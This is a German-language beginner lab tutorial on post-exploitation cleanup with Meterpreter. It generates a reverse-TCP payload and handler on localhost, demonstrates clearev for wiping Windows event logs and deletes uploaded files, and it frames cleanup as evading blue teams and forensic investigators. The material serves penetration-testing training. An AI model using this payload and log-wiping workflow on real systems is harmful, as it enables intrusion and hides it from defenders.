Systembereinigung nach einem Engagement mit Meterpreter

Kali LinuxBeginner
Jetzt üben

Einleitung

Im Bereich Penetrationstests und Red Teaming ist der Zugriff auf ein Zielsystem nur ein Teil der Mission. Was Sie nach dem Erhalt des Zugriffs tun, und ebenso wichtig, bevor Sie die Verbindung trennen, ist entscheidend. Diese Phase wird als Post-Exploitation bezeichnet. Eine entscheidende Komponente der Post-Exploitation ist das Cleanup (Bereinigung): der Prozess des Entfernens aller Spuren Ihrer Anwesenheit vom kompromittierten System.

Das Zurücklassen von Tools, Protokollen oder Systemänderungen kann Systemadministratoren und Blue Teams auf Ihre Aktivitäten aufmerksam machen, was zum Scheitern des Engagements und zur Behebung der von Ihnen genutzten Schwachstellen führen kann. Meterpreter, eine leistungsstarke Payload innerhalb des Metasploit Frameworks, bietet verschiedene Tools zur Unterstützung dieses Cleanup-Prozesses.

In diesem Lab lernen Sie die grundlegenden Schritte zur Bereinigung eines Systems nach einem Engagement mit Meterpreter. Sie werden das Erhalten einer Session, das Löschen von Ereignisprotokollen, das Löschen von Dateien und das Verständnis der Bedeutung, keine Spuren zu hinterlassen, üben.

Eine Meterpreter-Session auf einem Ziel erlangen

In diesem Schritt, bevor wir das Bereinigen eines Systems üben können, müssen wir zuerst darauf zugreifen. Wir simulieren dies, indem wir eine Payload mit msfvenom erstellen, einen Listener im Metasploit Framework einrichten und dann die Payload auf unserer eigenen Maschine "ausführen", um eine Meterpreter-Session auf localhost zu erhalten.

Öffnen Sie zuerst ein Terminal und verwenden Sie msfvenom, um eine Linux Meterpreter-Payload zu generieren. Dieser Befehl erstellt eine ausführbare Datei namens payload.elf in Ihrem aktuellen Verzeichnis (~/project).

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

Sie sollten eine Ausgabe sehen, die anzeigt, dass die Payload erfolgreich generiert wurde:

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 120 bytes
Final size of elf file: 240 bytes
Saved as: ~/project/payload.elf

Starten Sie als Nächstes die Metasploit Framework-Konsole. Das Flag -q sorgt dafür, dass sie leise startet, ohne das Banner anzuzeigen.

msfconsole -q

Sobald Sie sich in der msfconsole-Eingabeaufforderung befinden, müssen Sie einen Listener konfigurieren, um die Verbindung von der Payload abzufangen. Wir werden das Modul exploit/multi/handler verwenden.

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

Der Befehl exploit -j startet den Listener als Hintergrundjob, sodass Sie die Konsole weiterhin verwenden können. Sie sehen eine Meldung, dass der Handler gestartet wurde.

Öffnen Sie nun einen neuen Terminal-Tab, indem Sie auf das +-Symbol im Terminalfenster klicken. In diesem neuen Tab machen Sie die Payload ausführbar und führen sie aus.

chmod +x ~/project/payload.elf
~/project/payload.elf

Wechseln Sie zurück zu Ihrem ersten Terminal-Tab mit msfconsole. Sie sollten eine Meldung sehen, die anzeigt, dass eine Meterpreter-Session geöffnet wurde.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36978) at 2023-10-27 10:30:00 -0400

Um mit dieser neuen Session zu interagieren, verwenden Sie den Befehl sessions.

sessions -i 1

Ihre Eingabeaufforderung sollte sich zu meterpreter > ändern, was anzeigt, dass Sie nun die Kontrolle über die Session haben.

Verwenden Sie den Befehl clearev zum Löschen von Ereignisprotokollen

In diesem Schritt besprechen wir einen der wichtigsten Cleanup-Befehle in Meterpreter: clearev. Ein Hauptziel des Cleanups ist es, Spuren Ihrer Aktivitäten aus Systemprotokollen zu entfernen. Auf Windows-Systemen sind diese Protokolle (Anwendung, System und Sicherheit) eine primäre Informationsquelle für forensische Ermittler.

Der Befehl clearev ist speziell dafür konzipiert, diese drei Hauptereignisprotokolle auf einem Windows-Ziel zu löschen.

Wichtiger Hinweis: Unsere aktuelle Meterpreter-Session befindet sich auf einem Linux-System. Der Befehl clearev wird hier nicht funktionieren und einen Fehler erzeugen. Wir demonstrieren seine Verwendung zu Bildungszwecken, da er ein kritisches Werkzeug ist, wenn Ihr Ziel Windows ist.

Geben Sie in Ihrer meterpreter >-Eingabeaufforderung den Befehl ein, um das Ergebnis auf unserer Linux-Session zu sehen:

meterpreter > clearev

Sie sehen eine Fehlermeldung, da der Befehl für Linux-Systeme nicht implementiert ist.

[-] core_channel_open: Operation failed: The "stdapi_sys_eventlog_open" command is not supported by this session.

Wenn Sie sich jedoch auf einer Meterpreter-Session auf einem Windows-Computer befänden, würde die Ausgabe wie folgt aussehen und den Erfolg anzeigen:

[*] Wiping 3 records from Application...
[*] Wiping 3 records from System...
[*] Wiping 3 records from Security...

Das Verständnis, welche Tools auf welchen Betriebssystemen funktionieren, ist eine Schlüsselkompetenz für einen Penetrationstester. Auch wenn wir ihn nicht erfolgreich ausführen konnten, kennen Sie nun den primären Befehl zum Löschen von Ereignisprotokollen auf einem Windows-Ziel.

Manuelles Löschen von hochgeladenen Dateien oder Tools

In diesem Schritt lernen Sie, wie Sie Dateien, die Sie auf dem Zielsystem hochgeladen oder erstellt haben, manuell entfernen. Automatisierte Skripte sind nützlich, aber Sie sollten immer eine manuelle Überprüfung durchführen, um sicherzustellen, dass keine Tools, Skripte oder Payloads zurückbleiben.

In unserem aktuellen Szenario befindet sich die Datei payload.elf, die wir in Schritt 1 erstellt haben, nun auf dem "kompromittierten" System. Wir müssen sie löschen, um unsere Spuren zu verwischen. Dies können wir direkt von unserer Meterpreter-Session aus tun.

Verwenden Sie zuerst den Befehl ls innerhalb von Meterpreter, um die Dateien im aktuellen Verzeichnis des Ziels aufzulisten. Sie sollten Ihre Payload-Datei sehen.

meterpreter > ls

Die Ausgabe listet die Dateien in /home/labex/project auf:

Listing: /home/labex/project
============================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100755/rwxr-xr-x  240     fil   2023-10-27 10:28:00 -0400  payload.elf
...

Verwenden Sie nun den Befehl rm in Meterpreter, um die Datei zu löschen.

meterpreter > rm payload.elf

Sie sollten eine Bestätigungsmeldung sehen:

[*] rm: Removed /home/labex/project/payload.elf

Um zu bestätigen, dass die Datei weg ist, führen Sie den Befehl ls erneut aus. Die Datei payload.elf sollte nicht mehr aufgelistet sein. Dies ist ein entscheidender Schritt, um sicherzustellen, dass Sie das System so hinterlassen, wie Sie es vorgefunden haben.

Rückgängigmachen von Systemänderungen während der Post-Exploitation

In diesem Schritt befassen wir uns mit einem weiteren Aspekt des Cleanups: dem Rückgängigmachen von Systemänderungen. Während der Post-Exploitation können Sie Benutzerkonten hinzufügen, Dateiberechtigungen ändern oder geplante Aufgaben für die Persistenz erstellen. Alle diese Änderungen müssen rückgängig gemacht werden, bevor Sie das System verlassen.

Wir simulieren dies, indem wir eine temporäre Datei erstellen, die eine Systemänderung darstellt, und diese dann entfernen.

Von Ihrer meterpreter >-Eingabeaufforderung aus erstellen wir eine Datei namens temp_change.txt. Dies können wir tun, indem wir den execute-Befehl von Meterpreter verwenden, um den touch-Befehl auf dem Zielsystem auszuführen.

meterpreter > execute -f touch -a "/home/labex/project/temp_change.txt"

Dieser Befehl führt touch mit dem Argument /home/labex/project/temp_change.txt aus. Sie können die Erstellung mit ls überprüfen.

meterpreter > ls

Nun müssen wir im Rahmen unseres Cleanups diese Datei entfernen. Verwenden Sie den Befehl rm genauso, wie Sie es im vorherigen Schritt getan haben.

meterpreter > rm temp_change.txt

Dies ist ein sehr einfaches Beispiel, aber das Prinzip gilt auch für komplexere Änderungen. Wenn Sie einen Benutzer hinzugefügt haben, müssen Sie diesen Benutzer löschen. Wenn Sie eine Konfigurationsdatei geändert haben, müssen Sie sie aus einem Backup wiederherstellen oder die Änderungen manuell rückgängig machen.

Schließlich ist unser Cleanup auf dem Ziel abgeschlossen. Wir können nun die Meterpreter-Session beenden und dann die Metasploit-Konsole verlassen.

meterpreter > exit
[*] Shutting down Meterpreter...

msf6 exploit(multi/handler) > exit

Dadurch gelangen Sie zurück zu Ihrer normalen Terminal-Eingabeaufforderung.

Erläuterung der Bedeutung, keine Spuren zu hinterlassen

Dieser letzte Schritt ist eine konzeptionelle Überprüfung, warum Cleanup eine der kritischsten Phasen eines professionellen Sicherheitsengagements ist. Hier müssen keine Befehle ausgeführt werden; das Ziel ist es, die strategische Bedeutung dessen zu verstehen, was Sie gerade geübt haben.

Wichtige Gründe für gründliches Cleanup:

  1. Operative Sicherheit (OPSEC): Das Hauptziel ist es, unentdeckt zu bleiben. Jedes Artefakt, das Sie zurücklassen – eine Datei, ein Log-Eintrag, ein laufender Prozess – ist ein Hinweis für Blue Teams und Incident Responder. Entdeckt zu werden, kann Ihre gesamte Operation verbrennen, einschließlich der Tools und Infrastruktur, die Sie verwendet haben.

  2. Professionalität und Integrität: Bei einem professionellen Penetrationstest werden Sie beauftragt, die Sicherheit zu bewerten, nicht die Systeme des Kunden zu beschädigen. Ein System in einem modifizierten Zustand zu hinterlassen, ist unprofessionell. Die Wiederherstellung des Systems in seinen ursprünglichen Zustand zeugt von Sorgfalt und Respekt für die Umgebung des Kunden.

  3. Verhinderung unbeabsichtigter Schäden: Zurückgelassene Tools oder Skripte können zu Systeminstabilität führen. Schlimmer noch, eine von Ihnen erstellte Backdoor könnte von einem böswilligen Akteur entdeckt und genutzt werden, wodurch das System weniger sicher wird als zu Beginn. Ihre Verantwortung ist es, die Sicherheit zu verbessern, nicht neue Schwachstellen zu schaffen.

  4. Aufrechterhaltung zukünftigen Zugangs: Bei einem Red-Team-Engagement, das sich über Wochen oder Monate erstrecken kann, stellt das Cleanup nach jeder kleinen Aktion sicher, dass Ihr langfristiger Zugang nicht vorzeitig entdeckt wird. Wenn Sie entdeckt werden, werden die Verteidiger die Schwachstellen patchen und die von Ihnen genutzten Zugangspunkte schließen.

Zusammenfassend lässt sich sagen, dass effektives Cleanup nicht nur das Löschen von Dateien bedeutet. Es ist eine Denkweise, die Heimlichkeit, Professionalität und die Kernmission des Engagements priorisiert. Sie trennt Amateur-Hacker von professionellen Sicherheitstestern.

Zusammenfassung

In diesem Labor haben Sie den wesentlichen Prozess des Bereinigens eines kompromittierten Systems mit Meterpreter durchlaufen. Dies ist eine grundlegende Fähigkeit für jeden ethischen Hacker oder Penetrationstester.

Sie haben erfolgreich:

  • Eine Meterpreter-Sitzung durch Erstellung und Ausführung eines Payloads erhalten.
  • Das clearev-Kommando und seinen spezifischen Anwendungsfall zum Löschen von Ereignisprotokollen auf Windows-Systemen kennengelernt.
  • Das manuelle Löschen von Dateien von einem Zielsystem mit dem Meterpreter rm-Kommando geübt.
  • Systemänderungen simuliert, indem eine temporäre Datei erstellt und entfernt wurde.
  • Die kritische Bedeutung des Cleanups für die Aufrechterhaltung der operativen Sicherheit und Professionalität reflektiert.

Durch die Beherrschung dieser Techniken können Sie sicherstellen, dass Ihre Sicherheitsengagements nicht nur effektiv, sondern auch verantwortungsbewusst sind, die Zielumgebung so hinterlassen, wie Sie sie vorgefunden haben, und das Risiko einer Entdeckung minimieren.